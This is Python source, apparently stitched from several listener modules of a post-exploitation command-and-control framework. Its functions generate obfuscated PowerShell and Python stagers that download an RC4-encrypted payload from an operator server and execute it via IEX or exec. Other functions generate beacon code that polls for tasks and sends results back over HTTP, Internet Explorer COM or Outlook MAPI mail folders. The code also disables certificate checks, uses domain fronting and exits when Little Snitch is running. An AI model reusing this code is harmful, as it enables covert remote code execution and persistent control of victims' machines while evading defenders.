def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, bypasses: List[str]=None): """ Generate a basic launcher for the specified listener. """ bypasses = [] if bypasses is None else bypasses if not language: print(helpers.color('[!] listeners/template generate_launcher(): no language specified!')) return None if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") for bypass in bypasses: stager += bypass stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + "=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( '$' + helpers.generate_random_script_var_name("wc") + '.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization("$" + helpers.generate_random_script_var_name( "wc") + ".Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy('" + proxy.lower() + "');") stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$" + helpers.generate_random_script_var_name( "wc") + ".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] if len(username.split('\\')) > 1: usr = username.split('\\')[1] domain = username.split('\\')[0] stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');" else: usr = username.split('\\')[0] stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "');" stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy.Credentials = $netcred;") # save the proxy settings to use during the entire staging process and the agent stager += "$Script:Proxy = $" + helpers.generate_random_script_var_name("wc") + ".Proxy;" # TODO: reimplement stager retries? # check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") # stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';" stager += "$ser=%s;$t='%s';$hop='%s';" % ( helpers.obfuscate_call_home_address(host), stage0, listenerName) # Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # If host header defined, assume domain fronting is in use and add a call to the base URL first # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if headerKey.lower() == "host": stager += helpers.randomize_capitalization( "try{$ig=$" + helpers.generate_random_script_var_name( "wc") + ".DownloadData($ser)}catch{};") stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(") stager += "\"%s\",\"%s\");" % (headerKey, headerValue) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += helpers.randomize_capitalization( "$data=$" + helpers.generate_random_script_var_name("wc") + ".DownloadData($ser+$t);") stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if "https" in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n" launcherBase += "out, err = ps.communicate()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print(helpers.color(p, color='red')) if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") launcherBase += "req=urllib2.Request(server+t);\n" # add the RC4 packet to a cookie launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (b64RoutingPacket) # Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue) if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" # install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase).decode("utf-8") launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python3 &" % ( launchEncoded) return launcher else: return launcherBase else: print(helpers.color( "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module.")) else: print(helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!"))
def generate_comms(self, listenerOptions, language=None): """ Generate just the agent communication code block needed for communications with this listener. This is so agents can easily be dynamically updated for the new listener. This should be implemented for the module. """ if language: if language.lower() == 'powershell': updateServers = """ $Script:ControlServers = @("%s"); $Script:ServerIndex = 0; """ % (listenerOptions['Host']['Value']) if listenerOptions['Host']['Value'].startswith('https'): updateServers += "\n[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" getTask = """ function script:Get-Task { try { if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) { # meta 'TASKING_REQUEST' : 4 $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4 $RoutingCookie = [Convert]::ToBase64String($RoutingPacket) # build the web request object $""" + helpers.generate_random_script_var_name("wc") + """ = New-Object System.Net.WebClient # set the proxy settings for the WC to be the default system settings $""" + helpers.generate_random_script_var_name("wc") + """.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); $""" + helpers.generate_random_script_var_name("wc") + """.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; if($Script:Proxy) { $""" + helpers.generate_random_script_var_name("wc") + """.Proxy = $Script:Proxy; } $""" + helpers.generate_random_script_var_name("wc") + """.Headers.Add("User-Agent",$script:UserAgent) $script:Headers.GetEnumerator() | % {$""" + helpers.generate_random_script_var_name( "wc") + """.Headers.Add($_.Name, $_.Value)} $""" + helpers.generate_random_script_var_name("wc") + """.Headers.Add("Cookie", "session=$RoutingCookie") # choose a random valid URI for checkin $taskURI = $script:TaskURIs | Get-Random $result = $""" + helpers.generate_random_script_var_name("wc") + """.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI) $result } } catch [Net.WebException] { $script:MissedCheckins += 1 if ($_.Exception.GetBaseException().Response.statuscode -eq 401) { # restart key negotiation Start-Negotiate -S "$ser" -SK $SK -UA $ua } } } """ sendMessage = """ function script:Send-Message { param($Packets) if($Packets) { # build and encrypt the response packet $EncBytes = Encrypt-Bytes $Packets # build the top level RC4 "routing packet" # meta 'RESULT_POST' : 5 $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5 if($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) { # build the web request object $""" + helpers.generate_random_script_var_name("wc") + """ = New-Object System.Net.WebClient # set the proxy settings for the WC to be the default system settings $""" + helpers.generate_random_script_var_name("wc") + """.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); $""" + helpers.generate_random_script_var_name("wc") + """.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; if($Script:Proxy) { $""" + helpers.generate_random_script_var_name("wc") + """.Proxy = $Script:Proxy; } $""" + helpers.generate_random_script_var_name("wc") + """.Headers.Add('User-Agent', $Script:UserAgent) $Script:Headers.GetEnumerator() | ForEach-Object {$""" + helpers.generate_random_script_var_name( "wc") + """.Headers.Add($_.Name, $_.Value)} try { # get a random posting URI $taskURI = $Script:TaskURIs | Get-Random $response = $""" + helpers.generate_random_script_var_name("wc") + """.UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket); } catch [System.Net.WebException]{ # exception posting data... if ($_.Exception.GetBaseException().Response.statuscode -eq 401) { # restart key negotiation Start-Negotiate -S "$ser" -SK $SK -UA $ua } } } } } """ return updateServers + getTask + sendMessage elif language.lower() == 'python': updateServers = "server = '%s'\n" % (listenerOptions['Host']['Value']) if listenerOptions['Host']['Value'].startswith('https'): updateServers += "hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None" sendMessage = """ def send_message(packets=None): # Requests a tasking or posts data to a randomized tasking URI. # If packets == None, the agent GETs a tasking from the control server. # If packets != None, the agent encrypts the passed packets and # POSTs the data to the control server. global missedCheckins global server global headers global taskURIs data = None if packets: data = ''.join(packets) # aes_encrypt_then_hmac is in stager.py encData = aes_encrypt_then_hmac(key, data) data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) else: # if we're GETing taskings, then build the routing packet to stuff info a cookie first. # meta TASKING_REQUEST = 4 routingPacket = build_routing_packet(stagingKey, sessionID, meta=4) b64routingPacket = base64.b64encode(routingPacket) headers['Cookie'] = "session=%s" % (b64routingPacket) taskURI = random.sample(taskURIs, 1)[0] requestUri = server + taskURI try: data = (urllib2.urlopen(urllib2.Request(requestUri, data, headers))).read() return ('200', data) except urllib2.HTTPError as HTTPError: # if the server is reached, but returns an erro (like 404) missedCheckins = missedCheckins + 1 #if signaled for restaging, exit. if HTTPError.code == 401: sys.exit(0) return (HTTPError.code, '') except urllib2.URLError as URLerror: # if the server cannot be reached missedCheckins = missedCheckins + 1 return (URLerror.reason, '') return ('', '') """ return updateServers + sendMessage else: print(helpers.color( "[!] listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")) else: print(helpers.color('[!] listeners/http generate_comms(): no language specified!'))
def generate_comms(self, listenerOptions, language=None): """ Generate just the agent communication code block needed for communications with this listener. This is so agents can easily be dynamically updated for the new listener. """ if language: if language.lower() == 'powershell': updateServers = """ $Script:ControlServers = @("%s"); $Script:ServerIndex = 0; """ % (listenerOptions['Host']['Value']) getTask = """ $script:GetTask = { try { # meta 'TASKING_REQUEST' : 4 $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4; $RoutingCookie = [Convert]::ToBase64String($RoutingPacket); # choose a random valid URI for checkin $taskURI = $script:TaskURIs | Get-Random; $mail = $""" + helpers.generate_random_script_var_name( "GPF") + """.CreateItem(0); $mail.Subject = "mailpireout"; $mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI; $mail.save() | out-null; $mail.Move($fld)| out-null; # keep checking to see if there is response $break = $False; [byte[]]$b = @(); While ($break -ne $True){ foreach ($item in $fld.Items) { if($item.Subject -eq "mailpirein"){ $item.HTMLBody | out-null; if($item.Body[$item.Body.Length-1] -ne '-'){ $traw = $item.Body; $item.Delete(); $break = $True; $b = [System.Convert]::FromBase64String($traw); } } } Start-Sleep -s 1; } return ,$b } catch { } while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} } """ sendMessage = """ $script:SendMessage = { param($Packets) if($Packets) { # build and encrypt the response packet $EncBytes = Encrypt-Bytes $Packets; # build the top level RC4 "routing packet" # meta 'RESULT_POST' : 5 $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5; # $RoutingPacketp = [System.BitConverter]::ToString($RoutingPacket); $RoutingPacketp = [Convert]::ToBase64String($RoutingPacket) try { # get a random posting URI $taskURI = $Script:TaskURIs | Get-Random; $mail = $""" + helpers.generate_random_script_var_name( "GPF") + """.CreateItem(0); $mail.Subject = "mailpireout"; $mail.Body = "POSTM - "+$taskURI +" - "+$RoutingPacketp; $mail.save() | out-null; $mail.Move($fld) | out-null; } catch { } while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} } } """ return updateServers + getTask + sendMessage else: print( helpers.color( "[!] listeners/http_mapi generate_comms(): invalid language specification, only 'powershell' is currently supported for this module." )) else: print( helpers.color( '[!] listeners/http_mapi generate_comms(): no language specified!' ))
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, bypasses: List[str] = None): """ Generate a basic launcher for the specified listener. """ bypasses = [] if bypasses is None else bypasses if not language: print( helpers.color( '[!] listeners/http_com generate_launcher(): no language specified!' )) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] requestHeader = listenerOptions['RequestHeader']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") for bypass in bypasses: stager += bypass stager += "};" stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) # TODO: reimplement stager retries? # check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str( bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str( bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("K") + "=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$' + helpers.generate_random_script_var_name("K") + '=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$' + helpers.generate_random_script_var_name("K") + '[$_%$' + helpers.generate_random_script_var_name("K") + '.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" stager += "$ser=" + helpers.obfuscate_call_home_address( host) + ";$t='" + stage0 + "';" # add the RC4 packet to a header location stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket) # Add custom headers if any modifyHost = False if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] if headerKey.lower() == "host": modifyHost = True stager += "`r`n%s: %s" % (headerKey, headerValue) stager += "\";" # If host header defined, assume domain fronting is in use and add a call to the base URL first # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if modifyHost: stager += helpers.randomize_capitalization( "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};" ) stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$" + helpers.generate_random_script_var_name("K") + ")) | IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print( helpers.color( "[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." )) else: print( helpers.color( "[!] listeners/http_com generate_launcher(): invalid listener name specification!" ))
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, bypasses: List[str] = None): """ Generate a basic launcher for the specified listener. """ bypasses = [] if bypasses is None else bypasses if not language: print( helpers.color( '[!] listeners/http generate_launcher(): no language specified!' )) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] launcher = listenerOptions['Launcher']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") for bypass in bypasses: stager += bypass stager += "};" stager += helpers.randomize_capitalization( 'Add-Type -assembly "Microsoft.Office.Interop.Outlook";' ) stager += "$" + helpers.generate_random_script_var_name( "GPF" ) + " = New-Object -comobject Outlook.Application;" stager += helpers.randomize_capitalization( '$mapi = $' + helpers.generate_random_script_var_name("GPF") + '.GetNameSpace("') stager += 'MAPI");' if listenerOptions['Email']['Value'] != '': stager += '$fld = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email'][ 'Value'] + '"} | %{$_.Folders.Item(2).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '")};' stager += '$fldel = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email']['Value'] + '"} | %{$_.Folders.Item(3)};' else: stager += '$fld = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.GetDefaultFolder(6).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '");' stager += '$fldel = $' + helpers.generate_random_script_var_name( "GPF") + '.Session.GetDefaultFolder(3);' # clear out all existing mails/messages stager += helpers.randomize_capitalization( "while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}" ) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization( '$mail = $' + helpers.generate_random_script_var_name("GPF") + '.CreateItem(0);$mail.Subject = "') stager += 'mailpireout";' stager += helpers.randomize_capitalization('$mail.Body = ') stager += '"STAGE - %s"' % b64RoutingPacket stager += helpers.randomize_capitalization( ';$mail.save() | out-null;') stager += helpers.randomize_capitalization( '$mail.Move($fld)| out-null;') stager += helpers.randomize_capitalization( '$break = $False; $data = "";') stager += helpers.randomize_capitalization( "While ($break -ne $True){") stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;' ) stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}' ) stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print( helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." )) else: print( helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid listener name specification!" ))